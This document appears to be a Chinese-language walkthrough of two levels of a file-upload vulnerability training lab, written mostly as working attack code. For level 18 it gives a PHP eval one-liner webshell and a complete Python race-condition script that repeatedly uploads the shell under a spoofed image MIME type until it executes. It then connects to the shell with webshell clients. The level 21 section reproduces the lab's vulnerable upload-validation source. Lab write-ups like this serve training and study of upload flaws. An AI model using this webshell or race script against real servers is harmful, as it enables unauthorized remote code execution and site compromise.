文件上传18关:竞争上传(Race Condition)
-
在本地新建一句话木马
bash<?php @eval($_POST['x']);
-
确认目标上传接口 URL(例如
http://xxx.com/upload.php
) -
确认上传目录对浏览器可见(例如
/uploads/
) -
启动竞争脚本,把下面脚本保存为
race.py
并运行:
bash
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Race-Upload bypass
目标:先上传 shell.php,趁删除前访问到它
用法:python3 race_upload.py http://target.com/upload.php
"""
import sys
import time
import threading
import requests
UPLOAD_URL = sys.argv[1] # 接收上传的接口
UPLOAD_DIR = "uploads" # 代码里 UPLOAD_PATH 对应的浏览器可见目录
SHELL_NAME = "shell.php"
TARGET_URL = f"{UPLOAD_URL.rsplit('/',1)[0]}/{UPLOAD_DIR}/{SHELL_NAME}"
session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0'})
# 线程事件:一旦成功就全局停止
STOP = threading.Event()
def uploader():
"""不断上传"""
while not STOP.is_set():
try:
with open(SHELL_NAME, 'rb') as f:
files = {'upload_file': (SHELL_NAME, f, 'image/jpeg')}
data = {'submit': 'Upload'}
session.post(UPLOAD_URL, data=data, files=files, timeout=3)
except Exception as e:
pass
def racer():
"""不断访问 shell,直到拿到 200"""
while not STOP.is_set():
try:
r = session.get(TARGET_URL, timeout=3)
if r.status_code == 200 and '<?' not in r.text: # 返回空或执行结果
print(f"[+] Got shell @ {TARGET_URL}")
STOP.set()
except:
pass
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage: python3 race_upload.py http://target.com/upload.php")
sys.exit(1)
print("[*] Starting race...")
threading.Thread(target=uploader, daemon=True).start()
threading.Thread(target=racer, daemon=True).start()
try:
while not STOP.is_set():
time.sleep(0.1)
except KeyboardInterrupt:
STOP.set()
print("[*] Done.")
python3 race.py http://xxx.com/upload.php
用BP抓包,上传文件发送到intruder。

线程池填20个线程

循环访问 http://xxx.com/uploads/shell.php
;一旦返回 200 即停止并打印路径


生成新的php文件

用蚁剑/菜刀连接:
URL: http://xxx.com/uploads/shell.php
密码: x

文件读写21关
源代码
bash
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

